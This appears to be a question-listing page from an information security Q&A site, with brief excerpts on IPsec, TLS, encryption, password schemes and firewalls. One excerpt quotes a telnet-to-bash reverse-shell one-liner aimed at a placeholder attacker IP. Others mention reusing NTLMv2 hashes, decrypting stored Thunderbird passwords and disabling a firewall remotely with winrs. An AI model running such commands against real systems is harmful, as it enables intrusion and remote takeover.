All Questions

0
votes
0answers
8 views

which diffie-hellman group is needed for secure ike/ipsec

We're deploying ipsec on embedded devices and getting catastrophic performance from the diffie hellman 2048 group in ike.. afterwards the shared securet is used for 3des, sha1. ipsec negiation is ...
0
votes
0answers
8 views

Thunderbird password decryption from the signons.sqlite and keys3.db without using any third party tools

I understand from the Mozilla documentations that the passwords are stored in the following two files which are located at ~/.thunderbird/*.default location: ( I use Ubuntu 13.10) signons.sqlite ...
-1
votes
1answer
19 views

Is the ASP.NET .ASPXAUTH cookie value always the same for a given user? [on hold]

Is the ASP.NET .ASPXAUTH cookie value always the same for a given user?
1
vote
1answer
28 views

Questions on reflected file download (RFD) attack

I read this article, and the whitepaper by security researcher Oren Hafif which mentions the following salient points: RFD, like many other Web attacks, begins by sending a malicious link to a ...
1
vote
0answers
9 views

How to sniff [possibly encrypted] TDS protocol data from the host the client application is installed on?

Let's say, there is an .NET application on a windows 7 host where I have administrator's access rights. The application works with remote MS-SQL server which I don't control, it also seems that the ...
0
votes
0answers
20 views

Security implications for email address and url changes?

recently, we are seeing some From:, To:, Cc: addresses being rewritten from user1@companyA.com to: ...
2
votes
1answer
37 views

Reverse shell back door

Why does this example of reverse shell backdoor require two listeners? The Listener is using nc command(nc -l ). telnet <attacker_ip> <port_a> | /bin/bash | telnet <attacker_ip> ...
2
votes
1answer
53 views

Malicious *URLs*?

Everyone says not to click on "malicious URLs". Are there any attacks where the URL itself, rather than the resource accessed by the URL, is the attack vector?
1
vote
1answer
42 views

How to prevent BEAST attack without RC4 Cipher Suites?

It is common practices to prevent BEAST attack using the following Ciphers in Apache SSL configuration: SSLCipherSuite RC4-SHA:HIGH:!ADH Unfortunately, recently RC4 was flawed and it is recommended ...
0
votes
0answers
17 views

Firewall with packet capture and inspection?

Is there such thing as a firewall with packet inspection? Most outbound firewalls simply prompt the user with "program.exe is trying to connect to the internet - allow or deny?". I find it impossible ...
0
votes
0answers
17 views

What are the security risks associated with PDF files?

What are the security risks associated with PDF files? There is, of course, the general risk associated with any type of file: that whatever application is used to read it will have a bug that can be ...
1
vote
0answers
10 views

Forcing eap-TLS 1.2 authentication with FreeRadius and OpenSSL

Been working with TLS DHECE Certificate Based Handshake with a FreeRADIUS Server and wpa_supplicant- both running OpenSSL 1.0.1j FIPS. Afer watching the Wireshark traffic, I notice that the client ...
1
vote
1answer
24 views

Two Phases of Secure Socket Tunneling Protocol (SSTP)

According to http://en.wikipedia.org/wiki/Secure_Socket_Tunneling_Protocol there are two phases, SSL phase and PPP phase. SSL phase establishes a session and PPP also creates a link (which I ...
0
votes
0answers
15 views

What are the ramifications of reestablishing the baseline in IBM's SiteProtector?

I'm whitelisting events in IBM's SiteProtector and I've come across a benign file generation event and its file path. I've made the appropriate changes ( aka telling SP I don't want to be notified ...
0
votes
1answer
28 views

Bridge mode question [on hold]

İ have an outdoor in my shop and distributing my network to customers using mac filtering opition.. one of my neighboor got a weak signal....so, he bought a wirelss repeater to recieve a better ...
1
vote
1answer
40 views

Is there a secure way to share sessions in the same server with different sub domains?

I'm studing a case that I have a RESTful backend (php-based) and a hybrid HTML+JS+PHP front-end in different subdomains: backend.example.com <-- A RESTful API to provide some XHR requests. ...
13
votes
5answers
2k views

What stops a developer from accessing credit card details and other secret data from a company

First of all, I'm sorry if this has been discussed many times. I read many posts about PCI compliance but there are some small things I'm not quite sure about. Suppose there is Mr. GoodGuy, an ...
3
votes
1answer
41 views

Best way to store/retrieve sensitive key files?

We have our web servers running in AWS EC2. We have about 30 API Keys/passwords/etc (sensitive data) which is set in the environment for our app to use. Whenever we deploy, we start a new server ...
0
votes
1answer
83 views

How do security agencies share their data with each other?

I am trying to develop an application for some hypothetical security agencies for sharing their data with each other for a college project.I have three questions, 1.How do security agencies share ...
0
votes
1answer
36 views

Running snort behind iptables

I run a Centos 6.5 server with a highly restrictive iptables ruleset allowing incoming traffic only on a small handful of tcp ports (8 in total) and blocks all incoming unsolicited UDP traffic. I ...
2
votes
0answers
29 views

Are there any ways to leverage NTLM V2 hashes during a penetration test?

I am on a penetration test at the moment, where LM/NTMLv1 hashes are disabled. I have captured a number of NTLMv2 hashes via NBNS spoofing, however was unable to crack them after running them through ...
0
votes
1answer
23 views

Disable Win FW - via WinRS?

Security practitioner working on MCSA, trying to see what I could do with WinRS from remote, namely disabling the firewall. winrs -r:1.1.1.6 netsh firewall offline sh mode Returns that the firewall ...
14
votes
4answers
845 views

Why use a Smartcard for (Two Factor) Auth instead of another medium?

I recently installed Bitlocker on my Windows 8.1 machine, using only a password. I was thinking of getting something other than just a password for my storage drive, something physical, like a USB, SD ...
0
votes
2answers
70 views

Are there any good tools to test the encryption quality of data?

I am trying to increase my understanding of data encryption, and I was wondering this. It would be really nice if there were any good tools to test how secure my encrypted data is, for example how ...
11
votes
3answers
2k views

Why are drives overwritten three times when being disposed of? [duplicate]

I am looking at the secure disposal of old flash drives, and one of the standards I have come across says that they should be overwritten three times. Why is one time not enough? I assume doing the ...
2
votes
1answer
57 views

Any ways to protect my user data on company computers?

I have a desktop computer at work running Windows 8.1 Pro. For logging in I use a domain account and I have logged in with my Microsoft account to get access to my Onedrive and syncing of email ...
1
vote
0answers
41 views

Sticky keys on RDP

A recent report on page 18 states that: [black hats] have even leveraged [systems administration tools] as a means of maintaining additional persistence via setting “sticky keys” for RDP sessions. ...
-1
votes
2answers
50 views

Can I create a fake AP with my wireless card? [on hold]

I type iw list and these are the supported modes: Supported interface modes: * IBSS * managed When I run hostapd hostapd.conf I get this: Failed to create ...
0
votes
2answers
65 views

How safe is it to use older/unknown Encryption methods for plaintext?

When mailing or chatting with people, it had crossed my mind, what if, for simple communication, someone would use an older encryption method (i.e., ENIGMA), to encrypt their message? Would because ...
7
votes
1answer
390 views

How well is the SSL/TLS handshake protected against modifications?

The SSL/TLS handshake is protected against downgrade attempts by the Finished message, a signed and authenticated hash of the master secret and all previous handshake messages. Consider a client that ...
0
votes
2answers
95 views

How much does a GET request over HTTPS reveal to an eavesdropper

Correct me if I am wrong, according to HTTP v1.1 a simple CONNECT request initiates a SSL tunnel between the server and a client. its only after the tunnel is created that the complete GET or POST ...
4
votes
2answers
193 views

Why Sniff Session Cookies when UN/PW should also be available?

I've recently been reading on session cookies and how they can be hijacked via man-in-middle attacks. It seems this is mainly possible on an unencrypted connection between a client and a webserver. ...
0
votes
1answer
43 views

Who will fix the vulnerabilities found in Firewall

As a security guy, i run vulnerability scan and found vulnerabilities in firewall Like as follows SSL Server Allows Anonymous Authentication Vulnerability Solution SOLUTION: Disable support for ...
0
votes
0answers
16 views

Do we need IDS if we use Citrix terminals WYSE

In our environment, We use Citrix terminals in one part of world and those are connected to Citrix farm (Includes, AD, Log management, FW etc) (PCI Compliant) located in US. My Concern is, we are ...
0
votes
0answers
14 views

Security in MPI implementations

I came across a research paper andproject discussing about the implementation of encryption/decryption in the channel layer of MPICH2 called the ES-MPICH2 library ...
2
votes
2answers
79 views

Code Signing Confusion

I usually make free windows applications, now I want to digitally sign them. So users can be sure that its from me. But instead of buying the code signing certificate, I thought I may create my own. ...
1
vote
2answers
19 views

Segregating Offline Server and Internet Connection in one pc

What I want to do: Setup a PC with two routers. One router is directly connected to the internet, the other is connected to an offline workspace server. My client will be connected to both via a ...
1
vote
2answers
31 views

making online transactions over proxy

So I went over quite a lot of topics here and on the internet.. but I still can't seem to completely understand this issue. How secure really are services like proxies, VPN or VPS? VPN is promoted ...
1
vote
4answers
79 views

Is there any defense against Brute-Force done on a local encrypted file?

Let me start off by saying I don't know very much about encryption, hashing, cracking, etc. I'm just a typical computer enthusiasts, programmer and researcher with many questions. So, I've discovered ...
-1
votes
0answers
32 views

What is the point of JSON Web Token?

I've been reading the JSON Web Token (JWT) spec, and don't really see the point of using it. JWT has to be over TLS, otherwise the token (generated by the server on initial user authentication) could ...
0
votes
2answers
59 views

Trust level of whole disk encryption software

For example, if we take this software into account: Symantec Endpoint Encryption Sophos Safeguard Encryption How can we trust suppliers of whole disk encryption software in the lights of the ...
1
vote
1answer
56 views

Perfectly Robust Hashing Scheme, or Completely Over-Engineered?

This is going to get long, so prepare. Basis of the question is, Do all these steps improve security, or am I completely overthinking the problem? Are my assumptions/thought process valid? We all ...
1
vote
0answers
18 views

How do I display the usage flags for my encryption keys in a less hackish way? [migrated]

I am trying to educate myself on the use of encryption keys and I've been experimenting with this old Linus Torvalds’ key that I found 956EB7BF449FA3AB. I am interested to display the usage flags but ...
0
votes
1answer
35 views

How to make a decent Certificate Signing Request (CSR)?

I'd like to know how to make a decent Certificate Signing Request (CSR) to secure my website and e-mail with a wildcard SSL certificate. With recent exploits as POODLE on SSLv3 and such, I'd like to ...
3
votes
3answers
132 views

Can anyone be hacked?

I have often heard that if you are the target of a directed hacking campaign by say, a team of government hackers (whether Chinese, NSA, etc.), there is no way to prevent being hacked if they highly ...
1
vote
0answers
12 views

Clear EFS Cache at Set Interval

My boss wants to set up encrypted file shares using EFS on Windows Server 2012 R2 Boxes accessed by Windows 8.1 clients. I've been able to set the default DRA, issue certificates in test cases and so ...
0
votes
2answers
44 views

What is the solution for handling exceptions in password hashing schemes?

There is a technique called password hashing that describes creating unique passwords based on a unique master key and a static and arbitrary hash value. Using this technique, the user only has to ...
0
votes
1answer
59 views

Is a Cloud-Connected Door Lock More Secure Than a Traditional Lock and Key?

Now that app based door lock replacements are getting more popular in the market, I'm wondering what the security risks are and why or why not this is more secure than an old fashioned lock with a ...
0
votes
2answers
23 views

Postfix master running as root

Does running /usr/lib/postfix/master as a root could cause a security threat ? A fresh installation, gives this : **root** 11622 0.0 0.0 4792 1432 ? Ss 19:11 0:00 ...
1
vote
4answers
225 views

How to deal with password schemes that can produce weak passwords?

Introduction Since the xkcd note on password strength, there has been a lot of attention for password entropy. However, this raised the question: what if you used a strong scheme, but happened to ...

15 30 50 per page